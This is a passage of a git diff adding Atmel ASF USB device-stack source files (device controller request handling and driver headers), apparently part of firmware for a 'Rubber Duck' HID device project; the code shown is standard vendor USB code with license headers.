udd_set_setup_payload( + (uint8_t *) & udc_string_desc_languageid, + sizeof(udc_string_desc_languageid)); + break; + +#ifdef USB_DEVICE_MANUFACTURE_NAME + case 1: + str_lgt = USB_DEVICE_MANUFACTURE_NAME_SIZE; + str = udc_string_manufacturer_name; + break; +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + case 2: + str_lgt = USB_DEVICE_PRODUCT_NAME_SIZE; + str = udc_string_product_name; + break; +#endif +#ifdef USB_DEVICE_SERIAL_NAME + case 3: + str_lgt = USB_DEVICE_SERIAL_NAME_SIZE; + str = udc_string_serial_name; + break; +#endif + default: +#ifdef UDC_GET_EXTRA_STRING + if (UDC_GET_EXTRA_STRING()) + break; +#endif + return false; + } + + if (str_lgt != 0) { + for(i = 0; i < str_lgt; i++) { + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); + } + + udc_string_desc.header.bLength = 2 + (str_lgt) * 2; + udd_set_setup_payload( + (uint8_t *) &udc_string_desc, + udc_string_desc.header.bLength); + } + + return true; +} + + +/** + * \brief Standard device request to get descriptors about USB device + * + * \return true if success + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; + + // Check descriptor ID + switch ((uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + case USB_DT_DEVICE: + // Device descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (!udd_is_high_speed()) { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_hs, + udc_config.confdev_hs->bLength); + } else +#endif + { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_lsfs, + udc_config.confdev_lsfs->bLength); + } + break; + + case USB_DT_CONFIGURATION: + // Configuration descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else +#endif + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_CONFIGURATION; + break; + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DT_DEVICE_QUALIFIER: + // Device qualifier descriptor requested + udd_set_setup_payload( + (uint8_t *) udc_config.qualifier, + udc_config.qualifier->bLength); + break; + + case USB_DT_OTHER_SPEED_CONFIGURATION: + // Other configuration descriptor requested + if (!udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_OTHER_SPEED_CONFIGURATION; + break; +#endif + + case USB_DT_STRING: + // String descriptor requested + if (!udc_req_std_dev_get_str_desc()) { + return false; + } + break; + + default: + // Unknown descriptor requested + return false; + } + // if the descriptor is larger than length requested, then reduce it + if (udd_g_ctrlreq.req.wLength < udd_g_ctrlreq.payload_size) + udd_g_ctrlreq.payload_size = udd_g_ctrlreq.req.wLength; + return true; +} + + +/** + * \brief Standard device request to get configuration number + * + * \return true if success + */ +static bool udc_req_std_dev_get_configuration(void) +{ + if (udd_g_ctrlreq.req.wLength != 1) + return false; + + udd_set_setup_payload(&udc_num_configuration,1); + return true; +} + + +/** + * \brief Standard device request to enable a configuration + * + * \return true if success + */ +static bool udc_req_std_dev_set_configuration(void) +{ + uint8_t iface_num; + + // Check request length + if (udd_g_ctrlreq.req.wLength != 0) + return false; + // Authorize configuration only if the address is valid + if (!udd_getaddress()) + return false; + // Check the configuration number requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_hs->bNumConfigurations) + return false; + } else +#endif + { + // FS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_lsfs->bNumConfigurations) + return false; + } + + // Reset current configuration + udc_reset(); + + // Enable new configuration + udc_num_configuration = udd_g_ctrlreq.req.wValue & 0xFF; + if (udc_num_configuration == 0) { + return true; // Default empty configuration requested + } + // Update pointer of the configuration descriptor +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + udc_ptr_conf = &udc_config.conf_hs[udc_num_configuration - 1]; + } else +#endif + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) + return false; + } + return true; +} + + +/** + * \brief Standard interface request + * to get the alternate setting number of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_get_setting(void) +{ + static uint8_t udc_iface_setting; + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (udd_g_ctrlreq.req.wLength != 1) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + // Check the interface number included in the request + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Get alternate setting from UDI + udi_api = udc_ptr_conf->udi_apis[iface_num]; + udc_iface_setting = udi_api->getsetting(); + // Link value to payload pointer of request + udd_set_setup_payload(&udc_iface_setting,1); + return true; +} + + +/** + * \brief Standard interface request + * to set an alternate setting of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_set_setting(void) +{ + uint8_t iface_num, setting_num; + + if (udd_g_ctrlreq.req.wLength != 0) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + setting_num = udd_g_ctrlreq.req.wValue & 0xFF; + + // Disable current setting + if (!udc_iface_disable(iface_num)) + return false; + + // Enable new setting + return udc_iface_enable(iface_num, setting_num); +} + + +/** + * \brief Main routine to manage the standard USB SETUP request + * + * \return true if the request is supported + */ +static bool udc_reqstd(void) +{ + if (Udd_setup_is_in()) { + // GET Standard Requests + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error for USB host + + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Get Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_dev_get_status(); + case USB_REQ_GET_DESCRIPTOR: + return udc_req_std_dev_get_descriptor(); + case USB_REQ_GET_CONFIGURATION: + return udc_req_std_dev_get_configuration(); + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Get Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_INTERFACE: + return udc_req_std_iface_get_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Get Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_ep_get_status(); + } + } +#endif + } else { + // SET Standard Requests + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Set Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_ADDRESS: + return udc_req_std_dev_set_address(); + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_dev_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_dev_set_feature(); + case USB_REQ_SET_CONFIGURATION: + return udc_req_std_dev_set_configuration(); + case USB_REQ_SET_DESCRIPTOR: + /* Not supported (defined as optional by the USB 2.0 spec) */ + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Set Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_INTERFACE: + return udc_req_std_iface_set_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Set Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_ep_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_epset_feature(); + } + } +#endif + } + return false; +} + + +/** + * \brief Send the SETUP interface request to UDI + * + * \return true if the request is supported + */ +static bool udc_req_iface(void) +{ + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (0 == udc_num_configuration) + return false; // The device is not is configured state yet + // Check interface number + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + //* To update udc_ptr_iface with the selected interface in request + // Select first alternate setting of interface to update udc_ptr_iface + // before calling udi_api->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Send the SETUP request to the UDI corresponding to the interface number + return udi_api->setup(); +} + + +/** + * \brief Main routine to manage the USB SETUP request. + * + * This function parses a USB SETUP request and submits an appropriate + * response back to the host or, in the case of SETUP OUT requests + * with data, sets up a buffer for receiving the data payload. + * + * The main standard requests defined by the USB 2.0 standard are handled + * internally. The interface requests are sent to UDI, and the specific request + * sent to a specific application callback. + * + * \return true if the request is supported, else the request is stalled by UDD + */ +bool udc_process_setup(void) +{ + // By default no data (receive/send) and no callbacks registered + udd_g_ctrlreq.payload_size = 0; + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + + if (Udd_setup_is_in()) { + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error from USB host + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + if (udc_reqstd()) + return true; + } + + // If interface request then try to decode it in UDI + if (Udd_setup_recipient() == USB_REQ_RECIP_INTERFACE) { + if (udc_req_iface()) + return true; + } + + // Here SETUP request unknown by UDC and UDIs +#ifdef USB_DEVICE_SPECIFIC_REQUEST + // Try to decode it in specific callback + return USB_DEVICE_SPECIFIC_REQUEST(); // Ex: Vendor request,... +#else + return false; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h new file mode 100755 index 0000000..e202692 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc.h @@ -0,0 +1,248 @@ +/** + * \file + * + * \brief Interface of the USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_H_ +#define _UDC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udc_desc.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udc_group USB Device Controller (UDC) + * + * The UDC provides a high-level abstraction of the usb device. + * You can use these functions to control the main device state + * (start/attach/wakeup). + * + * \section USB_DEVICE_CONF USB Device Custom configuration + * The following USB Device configuration must be included in the conf_usb.h + * file of the application. + * + * USB_DEVICE_VENDOR_ID (Word)
+ * Vendor ID provided by USB org (ATMEL 0x03EB). + * + * USB_DEVICE_PRODUCT_ID (Word)
+ * Product ID (Referenced in usb_atmel.h). + * + * USB_DEVICE_MAJOR_VERSION (Byte)
+ * Major version of the device + * + * USB_DEVICE_MINOR_VERSION (Byte)
+ * Minor version of the device + * + * USB_DEVICE_MANUFACTURE_NAME (string)
+ * ASCII name for the manufacture + * + * USB_DEVICE_PRODUCT_NAME (string)
+ * ASCII name for the product + * + * USB_DEVICE_SERIAL_NAME (string)
+ * ASCII name to enable and set a serial number + * + * USB_DEVICE_POWER (Numeric)
+ * (unit mA) Maximum device power + * + * USB_DEVICE_ATTR (Byte)
+ * USB attributes available: + * - USB_CONFIG_ATTR_SELF_POWERED + * - USB_CONFIG_ATTR_REMOTE_WAKEUP + * Note: if remote wake enabled then defines remotewakeup callbacks, + * see Table 5-2. External API from UDC - Callback + * + * USB_DEVICE_LOW_SPEED (Only defined)
+ * Force the USB Device to run in low speed + * + * USB_DEVICE_HS_SUPPORT (Only defined)
+ * Authorize the USB Device to run in high speed + * + * USB_DEVICE_MAX_EP (Byte)
+ * Define the maximum endpoint number used by the USB Device.
+ * This one is already defined in UDI default configuration. + * Ex: + * - When endpoint control 0x00, endpoint 0x01 and + * endpoint 0x82 is used then USB_DEVICE_MAX_EP=2 + * - When only endpoint control 0x00 is used then USB_DEVICE_MAX_EP=0 + * - When endpoint 0x01 and endpoint 0x81 is used then USB_DEVICE_MAX_EP=1
+ * (configuration not possible on USBB interface) + * @{ + */ + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + * + * \section udc_vbus_monitoring VBus monitoring used cases + * + * The VBus monitoring is used only for USB SELF Power application. + * + * - No custom implementation \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // VBUS monitoring is not available on this product \n + * // thereby VBUS has to be considered as present \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Add custom VBUS monitoring \n + * // Authorize VBUS monitoring \n + * if (!udc_include_vbus_monitoring()) { \n + * // Implement custom VBUS monitoring via GPIO or other \n + * } \n + * Event_VBUS_present() // VBUS interrupt or GPIO interrupt or other \n + * { \n + * // Attach USB Device \n + * udc_attach(); \n + * } \n + * + * - Case of battery charging \n + * Event VBUS present() // VBUS interrupt or GPIO interrupt or .. \n + * { \n + * // Authorize battery charging, but wait key press to start USB. \n + * } \n + * Event Key press() \n + * { \n + * // Stop batteries charging \n + * // Start USB \n + * udc_attach(); \n + * } \n + */ +static inline bool udc_include_vbus_monitoring(void) +{ + return udd_include_vbus_monitoring(); +} + + +/*! \brief Start the USB Device stack + */ +static inline void udc_start(void) +{ + udd_enable(); +} + + +/*! \brief Stop the USB Device stack + */ +static inline void udc_stop(void) +{ + udd_disable(); +} + + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +static inline void udc_attach(void) +{ + udd_attach(); +} + + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +static inline void udc_detach(void) +{ + udd_detach(); +} + + +/*! \brief The USB driver sends a resume signal called \e "Upstream Resume" + */ +static inline void udc_wakeup(void) +{ + udd_send_wake_up(); +} + + +/** + * \brief Returns a pointer on the current interface descriptor + * + * \return pointer on the current interface descriptor. + */ +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void); + +//@} + +/** + * \ingroup usb_group + * \defgroup usb_device_group USB Stack Devices + * + * This module includes USB Stack Device implementation. + * The stack is divided in three parts: + * - USB Device Controller (UDC) provides USB chapter 9 compliance + * - USB Device Interface (UDI) provides USB Class compliance + * - USB Device Driver (UDD) provides USB Driver for each AVR product + + * Many USB Device applications can be implemented on AVR products. + * Atmel provides many application notes for different applications: + * - AVR4900, provides general information about Device Stack + * - AVR4901, explains how to create a new class + * - AVR4902, explains how to create a composite device + * - AVR49xx, all device classes provided in ASF have an application note + * + * A basic USB knowledge is required to understand the USB Device + * Class application notes (HID,MS,CDC,PHDC,...). + * Then, to create an USB device with + * only one class provided by ASF, refer directly to the application note + * corresponding to this USB class. The USB Device application note for + * New Class and Composite is dedicated to advanced USB users. + * + * @{ + */ + +//! @} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h new file mode 100755 index 0000000..ea854a6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udc_desc.h @@ -0,0 +1,126 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_DESC_H_ +#define _UDC_DESC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udc_group + * \defgroup udc_desc_group USB Device Descriptor + * + * @{ + */ + +/** + * \brief Defines the memory's location of USB descriptors + * + * By default the Descriptor is stored in RAM + * (UDC_DESC_STORAGE is defined empty). + * + * If you have need to free RAM space, + * it is possible to put descriptor in flash in following case: + * - USB driver authorize flash transfer (USBB on UC3 and USB on Mega) + * - USB Device is not high speed (UDC no need to change USB descriptors) + * + * For UC3 application used "const". + * + * For Mega application used "code". + */ +#define UDC_DESC_STORAGE + // Descriptor storage in internal RAM +#if (defined UDC_DATA_USE_HRAM_SUPPORT) +# if defined(__GNUC__) +# define UDC_DATA(x) COMPILER_WORD_ALIGNED __attribute__((__section__(".data_hram0"))) +# define UDC_BSS(x) COMPILER_ALIGNED(x) __attribute__((__section__(".bss_hram0"))) +# elif defined(__ICCAVR32__) +# define UDC_DATA(x) COMPILER_ALIGNED(x) __data32 +# define UDC_BSS(x) COMPILER_ALIGNED(x) __data32 +# endif +#else +# define UDC_DATA(x) COMPILER_ALIGNED(x) +# define UDC_BSS(x) COMPILER_ALIGNED(x) +#endif + + + +/** + * \brief Configuration descriptor and UDI link for one USB speed + */ +typedef struct { + //! USB configuration descriptor + usb_conf_desc_t UDC_DESC_STORAGE *desc; + //! Array of UDI API pointer + udi_api_t UDC_DESC_STORAGE *UDC_DESC_STORAGE * udi_apis; +} udc_config_speed_t; + + +/** + * \brief All information about the USB Device + */ +typedef struct { + //! USB device descriptor for low or full speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_lsfs; + //! USB configuration descriptor and UDI API pointers for low or full speed + udc_config_speed_t UDC_DESC_STORAGE *conf_lsfs; +#ifdef USB_DEVICE_HS_SUPPORT + //! USB device descriptor for high speed + usb_dev_desc_t UDC_DESC_STORAGE *confdev_hs; + //! USB device qualifier, only use in high speed mode + usb_dev_qual_desc_t UDC_DESC_STORAGE *qualifier; + //! USB configuration descriptor and UDI API pointers for high speed + udc_config_speed_t UDC_DESC_STORAGE *conf_hs; +#endif +} udc_config_t; + +//! Global variables of USB Device Descriptor and UDI links +extern UDC_DESC_STORAGE udc_config_t udc_config; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDC_DESC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h new file mode 100755 index 0000000..b4ac87a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udd.h @@ -0,0 +1,377 @@ +/** + * \file + * + * \brief Common API for USB Device Drivers (UDD) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDD_H_ +#define _UDD_H_ + +#include "usb_protocol.h" +#include "udc_desc.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * The UDD driver provides a low-level abstraction of the device + * controller hardware. Most events coming from the hardware such as + * interrupts, which may cause the UDD to call into the UDC and UDI. + * + * @{ + */ + +//! \brief Endpoint identifier +typedef uint8_t udd_ep_id_t; + +//! \brief Endpoint transfer status +//! Returned in parameters of callback register via udd_ep_run routine. +typedef enum { + UDD_EP_TRANSFER_OK = 0, + UDD_EP_TRANSFER_ABORT = 1, +} udd_ep_status_t; + +/** + * \brief A USB Device SETUP request + * + * SETUP packet contains following information. + */ +COMPILER_PACK_SET(1); +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + uint16_t wValue; + uint16_t wIndex; + uint16_t wLength; +} udd_setup_req_t; +COMPILER_PACK_RESET(); + +/** + * \brief Global variable to give and record information of the setup request management + * + * This global variable allows to decode and response a setup request. + * It can be updated by udc_process_setup() from UDC or *setup() from UDIs. + */ +typedef struct { + udd_setup_req_t req; //!< Data received in USB SETUP packet + uint8_t *payload; //!< Point to buffer to send or fill with data following SETUP packet + uint16_t payload_size; //!< Size of buffer to send or fill, and content the number of byte transfered + //! when the calbbacks "callback/over_under_run" are called. + void (*callback) (void); //!< Callback called after reception of ZLP from setup request + bool(*over_under_run) (void); //!< Callback called when the buffer given (.payload) is full or empty. + //! This one return false to abort data transfer, or true with a new buffer in .payload. +} udd_ctrl_request_t; +extern udd_ctrl_request_t udd_g_ctrlreq; + +//! Return true if the setup request \a udd_g_ctrlreq indicates IN data transfer +#define Udd_setup_is_in() \ + (USB_REQ_DIR_IN == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return true if the setup request \a udd_g_ctrlreq indicates OUT data transfer +#define Udd_setup_is_out() \ + (USB_REQ_DIR_OUT == (udd_g_ctrlreq.req.bmRequestType & USB_REQ_DIR_MASK)) +//! Return the type of the SETUP request \a udd_g_ctrlreq. \see usb_reqtype. +#define Udd_setup_type() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_TYPE_MASK) +//! Return the recipient of the SETUP request \a udd_g_ctrlreq. \see usb_recipient +#define Udd_setup_recipient() \ + (udd_g_ctrlreq.req.bmRequestType & USB_REQ_RECIP_MASK) + +/** + * \brief End of halt callback function type. + * Registered by routine udd_ep_wait_stall_clear() + * Callback called when endpoint stall is cleared. + */ +typedef void (*udd_callback_halt_cleared_t) (void); + +/** + * \brief End of transfer callback function type. + * Registered by routine udd_ep_run() + * Callback called by USB interrupt after data transfer or abort (reset,...). + * + * \param status UDD_EP_TRANSFER_OK, if transfer is complete + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param n number of data transfered + */ +typedef void (*udd_callback_trans_t) (udd_ep_status_t status, + iram_size_t nb_transfered); + +/** + * \brief Authorizes the VBUS event + * + * \return true, if the VBUS monitoring is possible. + */ +bool udd_include_vbus_monitoring(void); + +/** + * \brief Enables the USB Device mode + */ +void udd_enable(void); + +/** + * \brief Disables the USB Device mode + */ +void udd_disable(void); + +/** + * \brief Attach device to the bus when possible + * + * \warning If a VBus control is included in driver, + * then it will attach device when an acceptable Vbus + * level from the host is detected. + */ +void udd_attach(void); + +/** + * \brief Detaches the device from the bus + * + * The driver must remove pull-up on USB line D- or D+. + */ +void udd_detach(void); + +/** + * \brief Test whether the USB Device Controller is running at high + * speed or not. + * + * \return \c true if the Device is running at high speed mode, otherwise \c false. + */ +bool udd_is_high_speed(void); + +/** + * \brief Changes the USB address of device + * + * \param address New USB address + */ +void udd_set_address(uint8_t address); + +/** + * \brief Returns the USB address of device + * + * \return USB address + */ +uint8_t udd_getaddress(void); + +/** + * \brief Returns the current start of frame number + * + * \return current start of frame number. + */ +uint16_t udd_get_frame_number(void); + +/*! \brief The USB driver sends a resume signal called Upstream Resume + */ +void udd_send_wake_up(void); + +/** + * \brief Load setup payload + * + * \param payload Pointer on payload + * \param payload_size Size of payload + */ +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ); + + +/** + * \name Endpoint Management + * + * The following functions allow drivers to create and remove + * endpoints, as well as set, clear and query their "halted" and + * "wedged" states. + */ +//@{ + +#if (0!=USB_DEVICE_MAX_EP) + +/** + * \brief Configures and enables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + * \param bmAttributes Attributes of endpoint declared in the descriptor. + * \param MaxEndpointSize Endpoint maximum size + * + * \return \c 1 if the endpoint is enabled, otherwise \c 0. + */ +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize); + +/** + * \brief Disables an endpoint + * + * \param ep Endpoint number including direction (USB_EP_DIR_IN/USB_EP_DIR_OUT). + */ +void udd_ep_free(udd_ep_id_t ep); + +/** + * \brief Check if the endpoint \a ep is halted. + * + * \param ep The ID of the endpoint to check. + * + * \return \c 1 if \a ep is halted, otherwise \c 0. + */ +bool udd_ep_is_halted(udd_ep_id_t ep); + +/** + * \brief Set the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will result + * in a STALL handshake being sent. Any pending transactions will be + * performed first, however. + * + * \param ep The ID of the endpoint to be halted + * + * \return \c 1 if \a ep is halted, 